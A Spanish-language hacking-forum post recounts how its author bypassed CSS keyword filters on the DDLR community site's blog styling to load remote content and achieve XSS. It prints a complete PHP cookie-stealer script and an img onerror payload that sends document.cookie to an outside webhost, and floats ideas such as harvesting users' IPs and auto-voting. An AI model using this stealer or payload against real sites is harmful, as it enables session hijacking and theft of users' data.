Publicado el 16/09/2023 12:09:00 en Hacking Web.
Author: l0ve | Total de votos: 5 Vote
Buenas gente, como va? Acá nos encontramos una vez más para estudiar este escenario interesante y con el fin de ver si podemos sacar algún beneficio .. no siempre se tiene tanta suerte y no siempre todo es tan fácil .. de hecho es muy complicado si uno no cuenta paciencia y la experiencia necesaria. El fin del post es ser lo más técnico que yo pueda, para explicar a ustedes lo que HOY se puede y lo que no ... El tema acá va a ser .. ¿Ser o no ser XSS? ¿Es o no XSS? y empieza así:
Luego de leer la línea temporal de bugs y fixes de DDLR se me hizo interesante investigar sobre la ejecución de script en css .. y la conclusión fue: NO HAY XSS, sorprendentemente no hay XSS como tal actualmente en CSS, los navegadores llevaron a cabo una serie de cambios mas o menos radicales para mitigar esto ya que antiguamente la seguridad no era el punto más fuerte, debido a la mayor interconexión de dispositivos el interés en la seguridad creció y por ello se empezo a pensar más desde este punto ... básicamente "apagaron" el js en CSS ... o quizás encontraron otra manera para hacerlo?, al menos no para lo que no es local. A pesar de ello no es 100% seguro todavía hay algúnos bugs/errores interesantes en CSS .. siendo el más popular algúnos:
"Steal Private Data" lo que permite atravez de inyecciones CSS leer el contenido de cierto input o tag que podría considerarse "privado" .. esto puede servir en sitios donde se muestra una key o algúna información relevante, obteniendo la info mediante CSS.
https://medium.com/@tehmezovismayil/steal-input-datas-with-css-file-injection-bugbounty-449ba41a5092
también hay otras menos importantes pero interesantes:
<html> <style> script { display: block; } </style> <script> var hola = "desde script"; </script> </html>
por lo que naturalemente no hay JS dentro de CSS, pero la mayoría de hacker's utilizan una combinacion de técnicas y tricks para lograr el cometido .. una mezcla entre css y js .. una mezcla de otro tipo etc .., todo lo demás va en manos de la persona creativa que pueda superar los obstaculos. Por lo que hay maneras pero no tan sencillas como en el pasado.
Antes de llegar a esta conclusión (dura pero real), había estado experimentando y estudiando con CSS un buen rato y con la complejización agregada de que la mayoría de palabras permitidas en este sitio para los blogs dentro de los estilos para modificar la estética del mismo estaban censurada .. estas podrían ser:
javascript:
expression(
url()
@import
!important
? (el símbolo de pregunta).
lo que convertía a CSS en: un inerte frente la ejecución arbitraria de código ...
Pero seguí investigando y noté algo ... cuando lo ví en mi mente me pregunté ¿Podemos bypassear estas palabras?
Si. Y así lo hicimos:
Descubrí que en una sección de la configuración de los estilos del blog hay una parte esencial para cambiar tanto los colores de la fuente como las imágenes del banner entre otras para estilizar el blog y se me ocurrio ... ¿por que no poner otros valores?
Página de colores:
 s="'&go=https://img.ddlr.org/233104201517380049-Captura%20de%20pantalla%202023-09-14%20154918.png)
.
Palabras random?

.
Palabras inyectadas:

.
luego estos valores se pueden usar normalmente en tu estilo personal como por ejemplo $fuenteH1.
el resultado fue:

.
resultando así en un bypass de todas estas palabras.
... Como decía: ... antes de llegar a la conclusión "NO HAY XSS", pude notar varias cosas .. entre ellas: se puede bypassear la redireccion de seguridad rd.php?go= .. con la inyección de url(), se puede bypassear el símbolo de pregunta (necesario en la url), se puede bypassear las palabras como javascript o @import.

.
Así que no tuve muchas ideas .. más que: ¿Sacar los ips de los usuarios de ddlr? ¿el auto voto?
La ejecución de JS no es posible en CSS.
Así que lo deje ahí nomás ... pero paso un tiempo y luego se me prendí la lampara .. por que cuando se ejecuta un @import de auto voto este devuelve texto y el contenido se ejecuta? ¿Acaso podemos meter lo que nosotros queramos y obtener el mismo resultado?

.
Lo que me hizo pensar que realmente es posible ejecutar cualquier tipo de html, css o js, si se hace de la manera adecuada ..
Probando de varias maneras miré que no funciona sin un trato especial (era de esperarse), siempre pasaba lo mismo .. la url cargaba pero no devolvia el contenido o payload, algo necesario para ejecutar XSS:

.
Así que no podía poner cualquier url (no se permitian) .. ni tampoco más o menos cualquier extensión, además lo único que carga es lo que esta en / (raiz del sitio, se puede ver en el auto voto), así que el mejor sitio con estas caracteristicas es img.ddlr.org.
1) Permitido por CORS y filtro interno.
2) Retorna la página
Resultado:

.
Ahora que tenemos una carga de archivo y volcado de datos listos para ejecutar que podríamos hacer?
Como no se me ocurrio nada para poner en javascript (aunque las posibilidades son muchas, como puede ser un keylogger tipo js), hice un simple "cookie stealer" para la demostración:
<?php // __ __ ______ ______ __ ______ __ __ // // / _ / / // __ / //__ _/ // / // __ / // "-./ / // / / // "./ / / / __ / //_// // / / / / / /// / / / /-. / // / /__/".~/_/ / /_/ /_/ / /_/ / /_/ / /_____/ / /_//"/_/ // //_/ //_/ //_///_/ //_/ //_/ //_____/ //_/ //_/ // https://github.com/TheWation/PhpCookieStealer $date = date("Y/m/d H:i:s"); $ip = $_SERVER['REMOTE_ADDR']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $referer = $_SERVER['HTTP_REFERER']; $cookie = $_GET['cookie']; $file = fopen("ki3s.txt", "a"); fwrite($file, "[+] Date: {$date}/n[+] IP: {$ip}/n[+] UserAgent: {$user_agent}/n[+] Referer: {$referer}/n[+] Cookies: {$cookie}/n---/n"); fclose($file); echo(json_encode(["status" => 200])); ?>
resultado:

.
Podemos notar como carga el código y ya no simplemente "This request has no response data avaible." además en este caso carga una imágen que ejecuta javascript .. que funciona detectando si existe la ruta de nuestra imágen y como no existe entonces ejecuta nuestro script o payload .. siendo así un XSS.
Atravez del payload:
<img src=x onerror=this.src='https://unliving-cleats.000webhostapp.com/ajax.php?cookie='+document.cookie>
notamos que no es posible llamar al stealer si no ejecuta el código del html que lanza el script de src, quiere decir que si el tag de la imágen no se ejecuta no hay javascript. Acá las posibilidades son tan amplias como javascript permita, yo elegí esto por comodidad y ser muy sencillo, nada impide ejecutar cualquier tipo de html, css o js que deseen, pero bueno para el PoC es sufiente.
Volviendo atrás notamos que emulamos lo mismo que paso en el auto voto .. devolver código ejecutable ya sea de html, css o javascript, por lo que en este caso solo puse mi javascript de mi elección.
a pesar que los alert() puede que no se renderizen esto no impide ejecutar XSS ya que el script a pesar de no renderizar alert si que se ejecutan.
¿Por que se ejecuta el código en esta parte? vaya uno a saber, probablemente algún filtro de la web lo permite.
La pregunta es: ¿ejecutamos javascript de manera arbitraria en un lugar donde no estaba pensando o naturalizado el javascript?, ¿Pudimos ejecutar javascript en el cliente de manera arbitraria?, ¿Ser o no ser XSS? ...